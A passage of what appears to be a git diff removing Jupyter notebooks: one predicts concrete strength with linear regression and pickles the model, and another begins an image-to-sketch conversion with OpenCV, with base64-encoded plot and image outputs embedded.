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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# using Pearson's correlation method\n", - "corr = df.corr(method='pearson')\n", - "sb.heatmap(corr, annot=True)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Splitting Data for Training and Testing" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "metadata": {}, - "outputs": [], - "source": [ - "data = df.values\n", - "X,y = data[:,:-1], data[:,-1]\n", - "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0) # splitting in the ration 80:20" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Model" - ] - }, - { - "cell_type": "code", - "execution_count": 25, - "metadata": {}, - "outputs": [], - "source": [ - "model = LinearRegression()" - ] - }, - { - "cell_type": "code", - "execution_count": 26, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "LinearRegression()" - ] - }, - "execution_count": 26, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model.fit(X_train, y_train)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Making Predictions and Checking Accuracy" - ] - }, - { - "cell_type": "code", - "execution_count": 27, - "metadata": {}, - "outputs": [], - "source": [ - "y_pred = model.predict(X_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 28, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "0.47194805969559406" - ] - }, - "execution_count": 28, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "r2_score(y_test, y_pred)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### With simple Linear Regression, we have achieved 47% accuracy. On applying other algorithms, accuracy of around 80% can be achieved." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Getting the pkl file" - ] - }, - { - "cell_type": "code", - "execution_count": 29, - "metadata": {}, - "outputs": [], - "source": [ - "import pickle\n", - "pickle.dump(model, open('ConcreteStrengthPrediction.pkl', 'wb'))" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.8.5" - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} diff --git a/Add Code Here/IPYNB/Image_to_sketch.ipynb b/Add Code Here/IPYNB/Image_to_sketch.ipynb deleted file mode 100644 index 7a10dd8ab45..00000000000 --- a/Add Code Here/IPYNB/Image_to_sketch.ipynb +++ /dev/null @@ -1,299 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "966cf8ab", - "metadata": {}, - "source": [ - "### Importing Libraries" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "id": "e9972d5b", - "metadata": {}, - "outputs": [], - "source": [ - "import cv2\n", - "import matplotlib.pyplot as plt" - ] - }, - { - "cell_type": "markdown", - "id": "1a2bc2ab", - "metadata": {}, - "source": [ - "### Reading Image" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "id": "89a8b8b5", - "metadata": { - "scrolled": true - }, - "outputs": [ - { - "data": { - "image/png": "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